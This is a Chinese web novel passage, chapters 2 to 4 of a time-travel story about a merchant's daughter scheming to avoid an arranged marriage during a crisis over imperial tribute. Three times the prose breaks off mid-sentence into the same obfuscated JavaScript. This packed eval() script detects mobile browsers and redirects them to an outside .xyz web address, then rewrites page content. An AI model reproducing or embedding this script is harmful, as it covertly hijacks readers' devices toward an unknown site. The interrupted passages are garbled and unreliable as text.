《愿为出海月(追妻火葬场)》 2. 第2章 王照月在宣纸中央郑重写下自己的名字,却在标注朝代时突然顿住。 根据原主记忆,唐代确实存在,但五代十国后的历史轨迹已然改变,中原由赵国一统,原辽国疆域被称作"西州",而金国所在区域则以"燕国"自称。 她紧握毛笔暗自叫苦,作为文科生最大的倚仗“历史知识”竟成了无用功,她又对火药配制、玻璃烧制等技艺一窍不通...... 所幸翻阅原主记忆后发现,赵国律法竟与宋代颇为相似:嫡女可继承部分家业,女子不仅能立女户还可经商。 这让她眼睛一亮,是不是只要攒够足够的银钱,将来立女户,便能摆脱嫁人困于后宅的命运呢? 王照月生性乐观,既然有了奋斗方向,她很快便振作精神,开始系统梳理原主信息。 她以自己名字为圆心辐射出四条主线,分别标注上大伯父名字王彦、二伯父名字王昇、父亲名字王珏以及姑母名字王蕴,又从每个名字旁延伸出枝干,仔细记录十余位兄弟姐妹的姓名,并用蝇头小楷备注各人年龄性情等…… 当完成这张繁复的族谱导图时,窗外恰好传来五更梆子声。 她揉着酸痛不已的腰肢欣赏作品,不由庆幸上小学时苦练的毛笔字功底,不然穿过来不消几天就会露馅。 看着这张几乎画了一夜的族谱导图,王照月稍稍放下了心,她应该暂时性命无忧了。 但她也得时刻警醒,不能彻底放飞自我,暴露本性,不然被王珏和林氏当成邪祟上身,把她关在家里或天天找道士给她驱邪、喝符水,她还怎可能经商、立女户,脱困于后宅。 王照月将这张关乎身家性命的图纸仔细折好,藏进了雕花脚踏的暗格里。 "三娘子醒醒,夫人吩咐辰时唤您起身,现下已过辰时三刻了。"碧桃轻声唤醒王照月时,这位穿越者才堪堪睡了不到两个时辰,太阳穴突突作痛,却又不得不强打精神。 今日她必须解开那个萦绕在心头的疑问:为何原主姑母会舍弃父亲为官,年龄也更合适的堂姐王照锦,偏要为庶子求娶原主? 早膳刚布好,林氏便踏进了王照月的闺房。 王照月依着原主记忆盈盈下拜:"娘亲可曾用过早膳?女儿贪睡误了请安时辰,倒累得您亲自过来。" "娘已用过了,月儿快些用膳罢。"林氏执起女儿的手,"你姑母携三位表哥今日便到。你大伯家宅院逼仄,你姑母出阁前的闺阁又太小,你大伯母半月前就来商议,让他们暂住咱们府上。横竖咱们院子宽敞,空着的院落也多。" 她顿了顿,看着女儿尚显苍白的脸色,"原该早些打点院落,偏生你前些日落水,娘实在无心操持。如今你既大安了,随我去看看还缺什么物件可好?" 这话说得委婉,实则母女二人都明白:若王照月不露面张罗,难免落个"不满长辈安排"的话柄。 王照月轻抿一口五味粥,故作羞赧抬眼:“娘亲,女儿不解,姑母为何偏为三表哥聘我?姑父贵为知州,三表哥虽是庶出,亦是官宦子弟……并非女儿妄自菲薄或轻视父亲门第,论年齿门楣,三姐姐岂非更相宜?况大表哥、二表哥尚未议亲……” 她放下银勺,帕子轻拭嘴角。 林氏手中青瓷盏蓦地一颤,眉间浮起怜惜与踌躇。 正要启唇,忽闻廊下婢女通传:"三夫人,大夫人请您过府叙话。" "碧桃,仔细伺候娘子用膳。"林氏起身整了整裙裾,又抚过女儿发顶:"月儿且宽心,待娘归来再细说分明。"言罢匆匆离去。 待林氏离去,王照月眸中羞意尽褪。 她根据原主记忆,早已猜到其中关窍:赵国嫁妆之制,看似保障女子,假若女子娘家无权无势,也无可靠的父兄撑腰,那嫁妆财物实则如羊入虎口。纵是庶子,假若知州府里需要她的嫁妆贴补,他们也有千百种法子逼她倾囊相助。 原主姑母这般算计,只怕也是为了谋财。一旦礼成,她便是插翅难逃,还想经商、立女户,那简直是痴人说梦,只怕到时想和离都难。 而对原主父亲而言,能与知州家结亲,既得靠山又可牟更大的利,自然乐见其成。 王照月堪堪用了半碗粥,一枚蟹黄汤包便搁了箸。 碧桃见她眉尖时蹙时展,便知这位素来灵慧的五娘子又在筹谋什么,遂轻唤夏荷、秋桂撤了膳桌,又奉上盏温热的紫苏饮。 沉思半个时辰后,王照月终于推开窗棂。 晨风挟着苦楝花香扑面而来,她住的这个小院布局精妙:右侧粉墙映着翠竹,筛下满廊碎金;左侧飞檐凉亭畔,两棵石榴初绽红绡,两只靠墙的青釉缸中新荷才露尖角。最妙是中央花池里那株苦楝,紫云般的花簇正簌簌落着香雪。 "今儿什么日子?"她提着裙裾踏入回廊。 "回娘子,四月初二呢。"碧桃笑答,"园子里紫藤将谢未谢,娘子正好去赏个尾巴。” “走,那便去赏赏花。”闷在房中一天,王照月也想出来透透气。 待步入花园,更是移步换景。湖石叠山间忽见一临水书斋,雕花窗内有人向她招手,那衣袖纹样,分明是原主兄长王玉昀。 "哥哥何时归家的?"王照月侧首问碧桃,指尖无意识地摩挲着回廊朱栏。 夏荷上前半步福身:"回娘子,少爷昨夜方归。今早来探时,您尚在梦中。"她说话时眼睫低垂,与活泼的碧桃恰成对比。 王照月穿过来一天,仔细观察过原身的这三个贴身婢女,发现她们各有所长:碧桃看着灵动活泼善交际,夏荷观做派沉稳缜密可托事,秋桂则掌着院内庶务。 王照月暗自权衡,要破姑母之局,须得借她们之手,却又不能惊动原主父母...... 王照月走到门前推开雕花门扉,但见十七八岁的少年郎君临窗而立。 王玉昀生得长身玉立,清雅俊秀,杏眼流转间还自带三分书卷气,此刻正伸手欲抚妹妹发顶:"可大安了?听闻你落水,我在书院日夜悬心。" 王照月不着痕迹地偏头避开。这具十三岁的躯壳里藏着三十岁的灵魂,面对少年兄长孩童般的关切,只觉耳尖发烫。 她望着对方衣襟上未及换下的青竹纹样,那还是去岁原主亲手选的寿礼,莫明的,王照月忽然鼻尖微酸,想是原主情绪影响了她。 "哥哥不必忧心,我已无碍。"王照月垂眸捻着袖口缠枝纹,声若蚊蚋,"只是妹妹有一事相问:姑母突然为三表哥......" 她适时噤声,任半截话语化作颊边飞红。“哥哥可知为何?” 王玉昀挥挥手,丫鬟、侍从们立即退出了书房。 待书房只剩兄妹二人时,他骨节发白的拳头重重抵在紫檀案几上:"妹妹可曾听闻''内造局''?" 他声音里压着激愤,"这专为内廷搜刮奇石花木、古董字画、珍奇文物的衙门,比那剪径的强人更甚!十几载间强征商船逾千艘,运载的太湖石竟使汴河为之断流......" 他指尖深深掐进掌心:"船队所过之处,百姓不仅要供奉钱粮,还要被迫服徭役。为通巨舶,多少石桥被拆、城墙遭凿......" 他喉结剧烈滚动着,“内廷拨款从未用于采买,他们看上何物便强取豪夺!江浙商户经此十数年掠夺,十室九空!那些蠹吏……” 他话语陡然收住,又从齿缝挤出,“而今竟逼得黎民典妻卖子,只为缴纳那‘内造税’!” 王照月心头雪亮,此情此景,与北宋“花石纲”如出一辙。纵使时空迥异,封建皇权之下,帝王好恶,便是万民生死! 王玉昀凝视着妹妹尚带稚气的面庞,郁愤难平:"父亲这些年生意得以安稳,全赖大伯父与姑父周旋。可今年姑父的恩师致仕还乡,大伯父的同窗又被贬岭南,内廷新派的贡品督察官员到任后,他们二人在朝中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977857|177887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已无进言之路。他们也素来反对这劳民伤财的岁贡,更曾上奏弹劾内造局官吏盘剥江浙商户,如今反被其借机报复,姑父刚刚上任杭州知州,今岁的贡品采办竟全数压给姑父负责。" 他攥紧拳头,"这些年的''内造税''早被那些蠹吏中饱私囊,贪墨一空,姑父为官清正,如何凑得出贡品?若交不上,轻则抄家流放,重则......阖族倾覆!" "所以姑母才要三表哥娶我,好让父亲倾力相助?"王照月轻声点破其中关窍。 王玉昀叹息道:"姑母并非不信任父亲。只是她身为继室,姑父难免顾虑......” 他顿了顿接着说“大表哥乃原配所出嫡长子,二表弟又顽劣不堪……你幼时最厌他吵闹和戏弄你。三表弟温润知礼,确是眼下最妥帖的选择。" 言罢愈发痛恨自己身为男子,竟无法代妹出嫁。 "哥哥且宽心。"王照月听完垂眸抚平衣褶,抬起头来眸中透着超越年龄的沉稳,"议亲非即日成婚,我尚年幼,纵使定亲也还有转圜余地。当务之急,是该集思广益解决贡品之事。" 她深知自己既承了这具身躯,便与王家成命运共同体。在这"一荣俱荣,一损俱损"的困局中,穿越者的身份反倒让她能冷静权衡利弊。 "妹妹说得是。正因你自幼聪慧,为兄才将实情相告。" 王玉昀言罢忽忆起林氏叮嘱,忙补充道:"只是莫要让母亲知晓是我说的,否则定要责骂于我。" 他轻叹一声,"母亲常说妹妹心思细腻,若知晓姑母是因那件事才为庶子求娶,怕是要暗自神伤。" 王照月眸光微转,温声道:"哥哥不必忧心。自落水高热后,那些光怪陆离的梦境倒让我悟透许多事理。" 她指尖轻抚茶盏,"待得闲时,再与哥哥细说这些奇梦。" 王玉昀正要追问妹妹“是何梦”时,忽闻丫鬟竹叶在门外轻叩:"少爷、小娘子,夫人已回府,命奴婢请二位往正房叙话。" 待兄妹二人步入正房时,午膳已然备齐。王珏与林氏正坐于太师椅上低声交谈。 王照月细细端详着原主的父亲——这位年过而立的中年男子,身量清癯,着一袭半旧的浅灰色交领长衫,外罩深蓝色宽袖褙子,下颌蓄着短须。 虽为商贾,却无半分市侩之气,倒似个闲云野鹤的文人雅士。 其容貌与王玉昀有七八分相似,唯那双桃花眼与兄长的杏仁眼迥异,更添几分风流韵致。 见子女到来,王珏舒展了方才紧锁的眉头,温言道:"既已午时,先用膳罢。待用完再议不迟,正好玉昀也回来了,可一同商议。" 王照月本欲提一下暂缓定亲之事,闻言只得入席。 席间众人恪守"食不言"的古训,只闻箸匙轻响。 许是各怀心事,这顿饭用得颇为沉闷,菜肴竟都剩了大半。 膳后,王珏率先打破沉默:"月儿身子可大安了?为父这些时日忙于贡品筹措,未能如你母亲般朝夕看顾,你可怨我?" "父亲言重了。"王照月望着原主父亲真切关怀的神色,心知这位父亲也并非全然冷酷的商人。 "女儿晓得此事关乎全家性命。况且高热既退,已无大碍。"她略作迟疑,终是鼓起勇气道:"关于姑母为三表哥提亲之事......女儿斗胆一问,若女儿不愿嫁与表哥,父亲可还会全力相助姑父?" "这是自然!"王珏不假思索道,复又疑惑,"只是月儿为何不愿?你姑父家世代书香,更有''四十无子方纳妾''的家规。你姑母素来宽厚,三表哥又温文尔雅……这门亲事不知羡煞多少闺秀。莫非......" 他忽然促狭一笑,"月儿心中另有良人?"这话原是玩笑,他深知女儿性情:不喜女红琴棋,独嗜史书、算术,连账目核算都胜他一筹。平日除却逛书肆,便是闭门读书,偶帮母亲理账,哪有机会结识外男? 3. 第3章 王照月被父亲问得哑口无言。这门亲事确如父亲所言是"多少闺秀求之不得"的良缘。 可她终究无法向林氏与王珏坦白:他们真正的女儿早已香消玉殒,此刻站在眼前的实则是跨越千年而来的异世之魂。 她只得作小女儿情态,轻扯父亲衣袖道:"女儿明白这门亲事极好,若非姑父需父亲鼎力相助,这般姻缘原也落不到女儿头上。只是……" 她眼波微转,声音渐低,"女儿想多在双亲膝下尽孝几年。兄长虽过了院试,往后还有秋闱、春闱要闯,女儿愿替父母分忧料理家务,好让兄长专心举业。若定了亲……"说着她便赧然垂首,"父亲是知道的,女儿于女红一道实在愚钝。" 王珏见女儿羞得低下了头,不由抚须而笑:"月儿莫忧。家中既有绣庄,届时让顶尖的绣娘替你操持嫁妆便是。定了亲,你照旧过你的逍遥日子。你姑母最是宽厚,断不会计较这些。若实在过意不去……" 他眼中闪过狡黠,"为父便多陪嫁两间绣庄又如何?"他见女儿搅着手中帕子,又正色道:"跟着你娘多学些掌家本事倒是正经。来日与你夫婿开府别居,这些都用得上。自然……" 他意味深长地顿了顿,"为父查账时,少不得还要借重月儿的慧眼。" 王照月再寻不出推拒之词,况"贡品"一事迫在眉睫,实不宜在此事上多作纠缠。 她纤指绞着帕子低声道:"父亲教诲得是,女儿省得了。"垂首时鸦睫轻颤,看似羞怯,心下却暗自发愁。 "父亲、母亲,贡品筹措可有着落了?"王玉昀见妹妹终是应下婚事,忙将悬心多时的大事问出口。 林氏执起茶盏轻抿,温言宽慰道:"昀儿莫急。四年前太子开府时,你父亲进的贺礼颇得殿下青眼。太子素来仁厚,此番贡品只要比照去年份例尽心备办,再备上厚礼托人请太子周旋……" 说着将茶盏轻轻一搁,"拟给太子的礼单,便交由你来执笔。" 王玉昀心知母亲拣着宽心话说,指节不觉攥得发白。自己不过刚中秀才,莫说替父亲分忧,便是相较能帮着核账的妹妹也…… 他忽地起身长揖:"筹措贡品若需儿子效力,万望遣人至书院传唤。礼单儿子定当精心拟就,届时再请姑父与夫子斧正。" 虽明白父亲让他参详是为宽心,此刻却恨不能立时为双亲扛起千斤重担。 王照月轻抚袖口暗纹,也跟着温声道:"父亲、母亲,女儿愿分忧庶务。不若让林管家将近日账册送至我院中。" 她既承了这具身躯的富贵荣华,自当与家人共渡时艰。 王珏闻言展眉,慈爱地望着儿女:"昀儿、月儿都懂事了。且先各自回院小憩,午后帮着你们母亲拾掇姑母的院落。" 他指尖轻叩案几,"这回你们姑母要在杭州长住了。先前你姑父独自赴任,她留在汴梁料理家事。如今已先行遣人修葺陪嫁宅院,待给你们祖母贺完寿辰……"说着眼中泛起笑意,"往后月儿与你三表兄相见也便宜。" 王珏虽与妹妹王蕴异母所出,但生母早逝的他由嫡母抚养成人,与仅小四个月的妹妹情同胞泽。自王蕴出阁,他常以商路所得暗中接济。 "当真欢喜。"王照月拿帕子掩唇,桃花眼眸弯如新月,"祖母最疼姑母,如今姑母可常承欢膝下了。"帕子后唇角却抿得发白。 "儿子(女儿)告退,父亲母亲且安歇。"王玉昀携妹妹行礼退出,甫一跨出门槛,兄妹二人相视苦笑,俱是长叹一声。 王照月回到闺阁,命丫鬟打了温水略作梳洗。 虽昨夜她只歇了两个时辰,但此刻躺在绣榻上却辗转难眠。 锦被翻覆间,她越想越觉不甘,这门亲事若定下,往后若过得不如意,因着原主父亲与姑母的情分,除非三表哥暴虐成性或是早亡,否则单凭"性情不合"四字,怕是连和离都难。 王照月思及宋史中所载:徽柔帝姬与驸马李玮感情淡漠,婚后生活压抑,徽柔帝姬嫌弃李玮“学识浅薄,市井气重”,二人性情不合,日子实难过下去。帝姬为了和离,又是自杀、又是放火烧房…… 最终官家介入才和离成功,但他们和离后又被逼着复婚,可见封建时代便是金枝玉叶的帝姬要和离,那也是难上加难...... 她忽地拥衾坐起,眸中闪过一丝决然。 横竖要寻个法子推了这婚事,待过几年摸清这个异世世道深浅时,再或觅良配,或立女户,总比如今这般任人摆布强。 主意既定,她再无心安寝,轻叩床栏唤道:"碧桃、夏荷,进来。" 王照月轻拢纱帐,低声道:"碧桃、夏荷,且近前来。" 她独唤这二人自有考量:碧桃乃乳母之女,与原主同食同寝十余载;夏荷六岁被牙婆卖入府时,原主尚在垂髫之年,原主眼见这丫头从洒扫婢女凭着心细如发,一步步挣得大丫鬟的体面。相较之下,秋桂三年前才从林氏院里调来补缺,虽识得几个字,终究是隔着一层。 "姑娘但请吩咐,奴婢们自当尽心。"碧桃不假思索便应下,眼睛亮晶晶的盯着王照月,夏荷也跟着点点头。 王照月眸中流光微转:"待三表兄过府,碧桃替我留心他的言行嗜好。"又转向夏荷:"你且探听三姐姐在这段日子,可曾对哪位夫人、公子格外留意。" 两个丫鬟相视而笑,只道姑娘终于知晓要投未来夫婿所好,连三姑娘可能会使绊子都防着了。 她们二人若晓得主子实为退亲筹谋,怕是要吓得直奔主母院里告禀。 日影西斜还未至申时,林氏已遣人来唤兄妹二人。 王照月正将新调的苏合香并时兴胭脂置于姑母厢房,王玉昀则往表兄们下榻处摆上澄心堂纸、李廷珪墨等。忽闻门外一阵急促脚步声,小厮喘着粗气报喜:"姑太太的车已到仪门!" 林氏带着众人疾步至正门时,但见王珏正扶着王蕴下牛车。 这位姑母未覆面衣,檀色襦裙上绣着的双凤穿牡丹在夕照里熠熠生辉,朱红披帛随风轻扬。细看那龟背纹罗裙下隐约露出蹙金绣鞋,腰间白玉禁步叮咚作响。头上那顶缕金银冠映着晚霞,累丝步摇随她转身划出两道金弧,脸上还画着精致的檀晕妆,分明赶了一个多月路程,妆容竟比汴梁闺秀赴花朝宴还要精致三分。 王照月正暗自惊叹,忽觉有道目光灼灼。姑母身侧立着位穿靛青褙子的妇人,虽只簪着素银簪子,打量人的眼神却似能穿透罗衣。 此时马蹄声近,三位锦衣少年已勒马门前,马蹄声、玉佩铿锵声惊飞了檐下栖雀。 "昀儿、月儿,快来与姑母见礼。"王珏含笑招手,王玉昀忙拉着妹妹快步走到姑母身前。 王照月敛衽行礼时,眼波不着痕迹地扫过三位表兄。 距原主与三位表哥上回相见已隔两载寒暑,与原主记忆中相较——大表兄赵子端身量愈发颀长,立在阶前如青竹临风,俊秀雅致;二表兄赵子卿那双承自姑母的桃花眼顾盼生辉,腰间蹀躞带缀着的银鱼符随他动作叮当作响;三表兄赵子潇生得唇红齿白,面白如玉,是个美如画的美少年。 王照月垂眸掩去眼底思量,若单论相貌,原主三表兄这般温润如玉的郎君,任谁家小娘子见了都要脸红心跳。可她思及往后数十载的晨昏相对,那点绮思便如春雪遇阳,转瞬消融在"性情相契"四个沉甸甸的大字里。王照月银牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977858|177887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗咬,罗帕上顿时多了几道月牙痕。 暮色初临,王宅内灯火如昼。 王珏携王蕴在前引路,林氏执团扇随行,后头跟着的少男少女们,衣袂交叠间暗香浮动。待箱笼安置妥当,众人方至正厅叙话。 王蕴略整云鬓,便要领着三位公子去大哥家拜见王老夫人。 待王蕴去大房的间隙,府中仆役穿梭如织,王珏与林氏也将王玉昀、王照月兄妹俩支使得脚不沾地。 今晚的夜宴分作三席:东首设紫檀八仙桌,身为德清知县的大伯父王彦并弟弟王珏,再加上长房嫡子王玉弘作陪王府贵婿——杭州知府赵霁;西侧花厅里,林氏偕两位妯娌侍奉王老太太与王蕴;最是热闹当属中庭那席,未议亲的公子女郎们分坐两侧,中间隔着道十二扇的缂丝屏风。 "我的儿,快些梳妆!"林氏看着仆从布置好席位,转头瞧见王照月还穿着半旧家常衣裳,便连声催促她。 王照月被丫鬟婆子们拥着回了自己院子,夏荷捧出鎏金妆匣,先给王照月换上印金白罗襦,外罩芙蓉梅花纹的罗纱半臂,愈显得纤腰不盈一握。菱格花草纹的百褶裙摆展开时,水晶缀饰的鹅黄绦带便漾起粼粼波光。 梳头娘子正要敷粉,王照月突然按住她的手:"不用了!" 铜镜里映出张略显稚嫩,但欺霜赛雪的脸,远山眉含翠,秋水目凝光,虽不似王照锦那般艳若桃李,却自有一段姑射仙姿,与现代的她有八分相似。 王照月便想起在现代时被人说像陈都灵的旧事,她指尖轻抚脸颊:这般好皮相,可不能用那会重金属中毒的铅粉。 梳头娘子见她不肯敷粉,笑着摇摇头,又给她梳了小盘髻,戴上整套的金嵌玉插梳、缀珠金帘梳、金耳坠、金镯…… 王照月整装至正厅时,二房众人已与姑母叙礼多时。 但见王照锦身着浅粉抹胸,外罩织金折枝纹白罗衫,桃夭色百迭裙上缠枝纹若隐若现。那飞仙髻间插着她唯一的金钗,随着她的动作颤颤抖动,在烛光中折射出细碎光华,发髻上还装饰着三朵粉色绢花,衬着面上桃花妆,真真是"淡妆浓抹总相宜"。 王照月低头整了整衫子,暗叹这位堂姐若生在现世,定是时尚杂志争相邀约的造型师。 对比站在她身旁着鹅黄衫子的五妹妹王照云,那真是桃花遇到迎春花,不仔细看,都几乎看不到“迎春花”的存在…… 夜宴上,哥哥们无论是谈诗论赋,还是畅聊时事趣闻,王照锦都可妙语连珠,让大家谈兴更浓。 王照月本也不想凸显自己,再加上困倦异常,她强撑倦眼,偶应几句客套话便缄口不言,王照云更是羞怯文静。 及至席散,吃了酒的两位表兄竟扯着王照锦衣袖不放,直嚷着要"剪烛夜话"。 大表兄面沉如水,一手一个拎着弟弟们的后领往外拖,那月白袍袖都皱成了腌菜。 林氏在王照月回院子前,执起女儿柔荑,借着廊下灯笼的微光低语:"月儿莫担忧,你姑父纳妾之事原是不得已。当年他原配夫人生你大表哥时伤了身子,你大表哥不足一岁她便去了。你姑母继嫁过去,三载未孕,亲自将陪嫁的丫鬟开了脸。谁曾想……" 林氏话音忽顿,绢帕掩着唇角轻笑,"刚抬了姨娘,你姑母便诊出喜脉,不出三月那姨娘也有了身子——这般双喜临门的福气,可不就应在你三表兄身上?" 王照月垂眸盯着裙裾上晃动的月光,齿间沁着冷笑。 三表兄应也知道这次相看议亲的对象是她,既然知晓……管他什么福星转世,单是席间那直勾勾盯着王照锦的模样,莫说一辈子不纳妾,便真是八抬大轿来迎,她也断不肯将终身托付。 4. 第4章 第二日,晨曦微露,王照月便吩咐小厨房用白瓷炖盅炖了两盏上好的燕窝。 一盏命碧桃和夏荷仔细捧着,用描金的红漆食盒装着,给暂居客院的姑母王蕴送去;另一盏则交由秋桂捧着,她自己则穿上新做的芽绿色对襟旋袄配芥花色百迭裙,亲自给林氏请安送去。 谁知她刚到林氏院门口,守门的小丫鬟便匆匆福身通报:“娘子,三娘子王照锦来了,已进了二门。” 王照月猜王照锦此次前来,或因昨晚之事被嫡母责罚,借道歉之由头,实则只为在她家“偶遇”三位表哥。 王照锦也确实是打着“给姑母请安,顺道探望四妹妹,也为先前失手推妹妹落水再次道歉”的由头,一早便到了三叔家。 王照月唇角微弯,正愁没机会试探这位心思活络的堂姐,看她究竟有无那个本事,将自己避之不及而她梦寐以求的“与三表哥赵子潇的婚事”抢过去。 花厅内,博山炉里燃着清雅的鹅梨帐中香,青烟袅袅。王照月提着一柄执壶,正对着面前摆好的黑釉兔毫建盏,行云流水般点茶。 她特意穿上了林氏新为她裁制的蜀锦衣裙,那料子在日光下,流淌着华丽内敛的光泽,更衬得她容颜如玉。 “四妹妹这料子倒是稀罕。”王照锦款款步入,目光胶着在那蜀锦上,指尖忍不住划过锦缎那细腻光滑的边缘,她指甲上精心染就的凤仙花汁,在阳光下更显娇艳欲滴。 “听闻三叔前几日为备办祖母的千秋寿宴,又特意为妹妹打了整套赤金累丝嵌宝的头面?当真是疼妹妹疼到心坎里了。” 王照月气定神闲地按住腰间坠着水晶禁步的丝绦(这里官宦勋贵之家,近年颇为流行以水晶为饰,打磨成珠佩、禁步,取其清贵之意,倒与现代富豪偏好巨型水晶原石有异曲同工之妙)。 记忆刹那间闪回现代董事会谈判桌上的刀光剑影,眼前少女这点酸溜溜的算计,比起那些商场老狐狸,实在稚嫩得如同春日嫩芽。 “三姐姐若瞧着喜欢,我让绣娘把裁衣裳剩下的料子也仔细收着,给你做个精巧的香囊可好?缀上流苏,挂在裙边也是雅致。” “谁稀罕你的边角料!”王照锦像是被戳破了心思,羞恼地一把甩开王照月示好般伸来的手。 岂料用力过猛,只听“啪”的一声轻响,王照月腰间系着水晶禁步的丝绦竟应声而断! 霎时间,一颗颗圆润晶莹的水晶珠子噼里啪啦滚落满地,在青砖地上骨碌碌弹跳滚动,折射出炫目的光晕。 王照锦望着满地散落、颗颗价值不菲的水晶珠,想到自己囊中羞涩连买颗像样的珠子都难,心头涌起强烈的不甘和妒恨,脱口道:“祖母明明说过,府中未出阁的姑娘,皆有……” “三姐姐,”王照月清脆的声音打断了她,她微微仰起小巧的下巴,语气带着刻意为之的骄矜,“你猜姑母为何特意替三表哥求……” 她故意顿了顿,一双明眸看着王照锦骤然变色的脸,续道:“我父亲和娘亲,早在我幼时便开始为我细细积攒嫁妆。光是压箱底的银钱、各色上等绸缎料子,并那些精巧器物,待到真正出阁那日,少说也有一百多抬!更别提城外那几百亩上好的水田,还有杭州城里几间地段极好的铺面,皆是我的陪嫁。” 王照锦只觉得一股热血直冲头顶,脸上火辣辣地烧了起来。 她的父亲,眼里只有新纳的貌美侍妾和嫡出的儿子,何曾留意过她们这些庶女的处境? 嫡母更是凉薄,连她们的生死都不在意,更不可能为庶女们筹谋打算。 她的生母,不过是被父亲贪图颜色买回来的农家女,无根无基,哪里能置办什么? 她的嫁妆,就算把平日穿的四季衣裳、攒下的几件普通首饰全塞进去,怕也凑不满三个像样的樟木箱笼。 便是公中为了脸面不得不出一份,箱子里装的,多半也是些充数的布料、不值钱的铜锡器皿罢了。 王照锦气得脸色通红。 “你……你不过是仗着托生在三婶肚子里!满身的铜臭气,诗词歌赋一窍不通,琴棋书画更是无一精通,”王照锦强压下翻涌的羞愤,尖刻地反击,“四妹妹,嫁妆丰厚就得意成这样,是否太早了些?高门娶妇,更重才德!” “三姐姐教训得是,”王照月立刻顺着她的话,摆出一副被戳中痛处、恼羞成怒,吵架吵不过便“口不择言”的娇蛮模样。 “可我这般不行,那般不擅,偏偏姑母就喜欢我这份‘真性情’!再说了,”她故意加重语气,带着轻蔑,“三表哥他不也……不过是庶出么?我的嫁妆,便是嫁入侯府公府的门第,也绝不至于给他丢份儿!再说,大表哥也尚未定亲……” “哼!看四妹妹这牙尖嘴利的模样,身体想必是大安了!我还要赶着去给姑母请安,就不奉陪了!” 王照锦气得指尖都在发抖,再也待不下去,一心只想立刻冲到王蕴面前,好好告上这不知天高地厚的四妹妹一状,最好也让三表哥亲耳听听她那番“庶出论”! 王照月见她脚步匆匆地消失在影壁后,知道火候已到,也懒得再多费唇舌。 她心中惦记着更重要的事,那本刚从兄长王玉昀书房“借”来的《太平寰宇记》手抄本,还等着她去研读呢。 吩咐小丫鬟将滚落满地的水晶珠子一颗不落地捡起来收好,王照月便带着秋桂沿着抄手游廊往回走。 廊下挂着精致的鸟笼,里面养着画眉,婉转鸣叫却驱不散秋桂眉间的忧色。 她几度欲言又止,直到踏入王照月所居的幽静小院“映月轩”,关上院门,她才终于鼓起勇气,小声问道:“四娘子……您方才那些话……莫不是,心里其实……不喜三表少爷?” 王照月心知肚明,秋桂作为林氏安排在她身边的大丫鬟,定会将方才花厅里的一言一行原原本本回报给她。 为免林氏察觉她搅黄婚事的真实意图,她立刻转身,抓住秋桂的手腕,换上懊恼又委屈的神情:“哎呀!秋桂姐姐你方才怎么也不拦着我点!我最恨三姐姐每次见面都要拿‘不擅琴棋书画、不懂诗词歌赋’这事来刺我!戳我心窝子!再说了……” 她眼圈微红,声音带上哽咽,“姑母若真有诚意,为何偏偏是替庶出的三表哥来?大表哥是嫡出,年纪也更合适,不也尚未定亲么?而且你也瞧见了,昨晚灯下,三表哥盯着三姐姐看的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977859|177887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……眼珠子都快黏在她身上了!即便……即便他眼下应承了姑母不纳妾,可心里装着旁人,将来眼里又怎会有我半分位置?” 她越说越显得气苦,猛地甩开秋桂的手,佯作气冲冲地快步走到自己精致的雕花房门前,扬声唤门口侍立的一个穿着半旧青布衫子、扎着双丫髻的粗使小丫鬟:“小莲!发什么呆呢?快去瞧瞧碧桃和夏荷两位姐姐回来没有?让她们速来见我!” “娘子回来了。”碧桃闻声,推开旁边用作茶水间的耳房门,和夏荷一块儿走了出来。 两人快步迎向王照月,碧桃眼尖,瞧见自家娘子气鼓鼓的模样,忙问道:“娘子这是跟谁置气呢?气坏了身子可如何是好?” 说话间,她已伸手替王照月推开房门,目光却敏锐地梭巡向落后半步的秋桂。 秋桂对上碧桃询问的眼神,无奈地苦笑一下,无声地用口型示意:“三娘子。” “娘子消消气,”碧桃手脚麻利地从红泥小炉上温着的瓷壶里倒出一盏温热的沉香饮,奉到王照月手边。 夏荷则默契地接过王照月手中那把精美的缂丝牡丹团扇,仔细收好。 碧桃见王照月接过饮子,才继续道:“娘子,您昨日吩咐奴婢们去打听的事,我们悄悄问到了些消息,娘子现在可要听听?” “说吧。”王照月啜了一口带着清雅药香的沉香饮,顺势在窗边的湘妃竹榻上坐下,装作气消了些的模样。 